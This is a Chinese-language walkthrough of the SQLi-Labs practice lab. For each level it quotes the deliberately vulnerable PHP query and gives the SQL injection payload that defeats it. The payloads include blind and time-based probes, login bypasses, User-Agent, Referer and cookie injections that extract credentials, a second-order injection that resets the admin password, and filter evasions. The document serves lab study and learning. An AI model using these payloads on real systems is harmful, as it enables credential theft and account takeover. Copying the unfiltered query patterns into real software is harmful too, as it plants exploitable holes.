结构化查询语言,也叫做SQL,从根本上说是一种处理数据库的编程语言。对于初学者,数据库仅仅是在客户端和服务端进行数据存储。SQL通过结构化查询,关系,面向对象编程等等来管理数据库。编程极客们总是搞出许多这样类型的软件,像MySQL,MS SQL ,Oracle以及Postgresql。现在有一些程序能让我们有能力通过结构化查询来管理大型数据库。
我们将要使用的实验室是SQLi Labs,它是一个可以从https://github.com/Audi-1/sqli-labs免费下载,以便我们研究学习以及编写安全的程序。
关键代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
可以看到对于直接 GET 进来的文本没有过滤。
同时,在查询语句中,id='$id',变量加了引号。这里引号的意思是把输入的 id 当做字符串来处理,取从头开始的最长数字且类型转换为整形进行查询。
?id=12a 显示id为12的用户 ?id=1a2a 显示id为1的用户 ?id=102a 显示id为102的用户(不存在) 盲注 ?id=1%27and+left(version(),1)=5%23 得出数据库版本为5开头 ?id=1%27and+length(database())=8%23 数据库名长度为8 ?id=1%27and+left(database(),8)='security'%23 数据库为security ?id=1%27and+length(username)=4%23 用户名长度为4 ?id=1%27and+left(username,4)='Dumb'%23 用户名为Dumb ?id=1%27and+length(password)=4%23 密码长度为4 ?id=1%27and+left(password,4)='Dumb'%23 密码为Dumb
关键代码:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
同样未做过滤,但此处的变量 id 无引号。大概是直接将变量 id 当做整形传入查询。
?id=12 显示 id 为 12 的用户 ?id=12a 报错:Unknown column '12a' in 'where clause' ?id=%31 显示 id 为 1 的用户 注入测试: ?id=1+and+left(version(),1)=5 直接注入即可得到版本号
关键代码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
未过滤,但变量 id 加了引号和括号。将变量 id 以字符串形式引入,和Less-1很像,但是却又多了个括号,猜测是防止注入语句。
注入测试: ?id=12+and+1=1 显示正确 ?id=12+an 不完全语句也显示正确 猜测:括号将变量限制在括号范围内,尝试手动提前匹配括号注入。 ?id=12%27 成功报错:''12'') LIMIT 0,1' at line 1 ?id=1%27%29and+1=2%23 无显示,可注入 上面那条语句还原到 SQL 语句时,为: SELECT * FORM users WHERE id=('1')and 1=2#') LIMIT 0,1
将括号提前结束且用 #号注释掉接下来的语句。接下来的注入只要替换 and 1=1 语句就行了。
关键代码:
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
对变量 id 做了处理。该处理在 id 前后添加双引号。
?id=1%22%29+and+1=2%23 无显示,可注入 SELECT * FROM users WHERE id=("1")and 1=2#") LIMIT 0,1
关键代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
?id=1'and+1=2#
关键代码:
$id = '"'.$id.'"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; ?id=1"and+1=2#
关键代码:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; ?id=1'))and 1=2#
关键代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ?id=1' and 1=2#
尝试了很多次,各种组合,但是服务器返回的结果都是一样。
尝试 ?id=10000000000
返回结果也是正确,因为不存在这么大的 id,所以判断这个页面把正确和错误的信息全部返回一致。
于是,使用基于时间的注入,构造以下语句:
?id=1' and sleep(5) %23
如果错误,则服务器处理5秒再返回,否则直接返回,找到正确的注入点。
?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23 ?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23 第一个语句暂停五秒第二个直接返回,判断数据库名的第一个字母为s(ascii为115)
又是一个基于时间的注入,尝试了下,注入点在这:
?id=1" and sleep(5) %23
这个页面采用 POST 的方法得到数据。于是用 HackBar 修改 post 数据进行测试:
uname=admin&passwd=123' 显示: ''123'' LIMIT 0,1' 去掉单引号 '123'' LIMIT 0,1 再去掉密码的单引号 123' LIMIT 0,1
所以确定是单引号注入,直接万能密钥试试:
uname=admin' or '1'='1 &passwd=123456
这里的话有个点:
如果输入:uname=admin' or '1'='1 &passwd=123456,会显示失败,为什么呢?
首先and的优先级高于or 【就是and先运算】
那么'1'='1' and password='123456'先运算,因为users表里面的password字段没有一个数据时test,右边是false,那么整个表达式就是false
这个时候整个的语句就是:
SELECT username, password FROM users WHERE username='test' or false LIMIT 0,1
数据库里没有test用户,所以就失败了。
而万能密钥的语句是:
SELECT username, password FROM users WHERE username='admin' or false LIMIT 0,1
对于上述的情况,我们在密码字段加入即可
uname=test&passwd=123456' or '1'='1 SELECT username, password FROM users WHERE username='test' or true LIMIT 0,1
先尝试单引号,双引号。
输入:
uname=test&passwd=123456"
报错:
'"123456"") LIMIT 0,1' 123456") LIMIT 0,1
构造POC:
uname=test&passwd=123456") or "1"="1"#
先尝试单引号,双引号。
输入:
uname=test&passwd=123456'
报错:
''123456'') LIMIT 0,1' 123456') LIMIT 0,1
构造POC:
uname=test&passwd=123456') or ('1')=('1 或者 uname=test&passwd=123456') or "1"="1"#
先尝试单引号,双引号。
输入:
uname=test&passwd=123456"
报错:
'"123456"" LIMIT 0,1' 123456" LIMIT 0,1
构造POC:
uname=test&passwd=123456" or "1"="1"# 或者 uname=test&passwd=123456" or "1"="1
这里输入单引号,双引号就不会报错了,我们只能加上永真永假或者时间延迟函数了。
测试发现时间延迟不行。
uname=test&passwd=123456' or 1=1#
直接成功了,
试一下盲注也是可以得。
uname=test&passwd=123456' or length(database())=8#
uname=test&passwd=123456") or 1=1#
成功登陆,时间延迟注入试试
uname=test&passwd=123456") or if(length(database())=7,1,sleep(5)) # 暂停,说明不对 uname=test&passwd=123456") or if(length(database())=8,1,sleep(5)) # 成功登陆
uname=admin&passwd=123456' where username='admin' and 1=2 # 对应的SQL语句是: UPDATE users SET password = '123456' where username='admin' and 1=2 #' WHERE username='admin'
这是 Header 注入。
意思是,从服务器要求的 Header 头里面找到可以注入的注入点。
从源代码可以看出,服务器将 Header 里面的 user-agent 的值没有经过过滤就带入了 insert into 语句,这就造成了注入。
$uagent = $_SERVER['HTTP_USER_AGENT']; ... $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
首先,抓包。
还有一个问题就是,insert into 语句要在登陆成功后才能执行,所以必须输入正确的用户和密码再抓包。
xpath注入: payload:updatexml(1,concat(0x7e,(version())),0) 第一个参数是 目标xml 第二个参数是 xpath的表达式,这个看w3c那个xpath教程 第三个参数是 要将xpath的表达式的东西将目标xml替换成什么
POC:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),",")# 响应: Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),"1")# XPATH syntax error: ':5.5.47' User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1")# 响应: Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1") XPATH syntax error: ':Dumb'
POC:
Referer: 1' or updatexml(0,concat(0x3a,version()),0),"1")# 响应: Your Referer is: 1' or updatexml(0,concat(0x3a,version()),0),"1") XPATH syntax error: ':5.5.47'
这里也可以用一个报错函数extractvalue
第一个参数也是个xml,第二个参数就是xpath的表达式,这个函数是获取xml中某个节点的值
与updatexml一次只能更新一个节点不同,extractvalue可以一次获取多个节点的值,并以空格分隔
POC:
Referer: 1' or extractvalue(0,concat(0x3a,version())),'1')# 响应: Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or extractvalue(0,concat(0x3a,version())),'1')# XPATH syntax error: ':5.5.47'
这题用 Cookies 注入
POC:
Cookie: uname=admin'; 报错 Cookie: uname=admin' order by 3#; 正常显示 Cookie: uname=admin' order by 4#; 报错,所以是三个字段 Cookie: uname=admin' and 1=2 union select 1,2,3#; 显示2,3 Cookie: uname=admin' and 1=2 union select 1,database(),version()#; 数据库:security,版本:5.5.47 Cookie: uname=admin' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#; 表名:emails,referers,uagents,users,这里也可以用limit语句 Cookie: uname=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#; 字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password Cookie: uname=admin' and 1=2 union select 1,username,password from users limit 0,1#; 内容:Your Login name:Dumb Your Password:Dumb
cookies 注入
但是,这一次的 cookies 是加密的.
setcookie('uname', base64_encode($row1['username']), time()+3600); ... $cookee = base64_decode($cookee);
POC:
') union select 1,2,username from users# JykgdW5pb24gc2VsZWN0IDEsMix1c2VybmFtZSBmcm9tIHVzZXJzIw== 显示密码Dumb
单引号换成双引号就行了
uname=IiB1bmlvbiBzZWxlY3QgMSwyLHVzZXJuYW1lIGZyb20gdXNlcnMj Your Login name:2 Your Password:Dum
这一题它在输入的时候过滤了几个字符
$reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id);
所以,我们不能用 #来注释掉剩下的查询语句。
那么该怎么办呢?
一个办法就是,让剩下的语句变得完整就行。
查询语句的代码为:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
构造语句:
?id=1'and+'1'='1
二次注入
与数据库交互的有三个页面:login_create.php,login.php,pass_change.php
login_create.php,登陆页面对用户和密码都进行了处理。
$username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]); $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
login_create.php对新建用户进行处理
$username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']);
pass_change.php是修改密码的
关键代码:
$username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']); if($pass==$re_pass) { $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows(); ...
可以发现
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
更改密码时$username没有任何过滤,直接带入进去,如果$username后面有个注释符,那么我们可以直接绕过验证$curr_pass而直接更改密码。
所以我们要建一个有注释符的特殊用户
用户名:admin'+#+ 密码: 123456
然后登陆,进入更改密码页面
随便输入当前密码,然后输入我们要更改的密码
YOU ARE LOGGED IN AS admin' # You can Change your password here. Current Password: 123 New Password: 123456 Retype Password: 123456
提交,你会发现,admin的密码已经被我们改成123456了。
这题的意思是,“你的 AND 和 OR 都是我们的了!”...
就是,AND 和 OR 全部都被过滤掉了。
AND==&& OR==|| ?id=1' && '1'='1 url编码 ?id=1' %26%26 '1'='1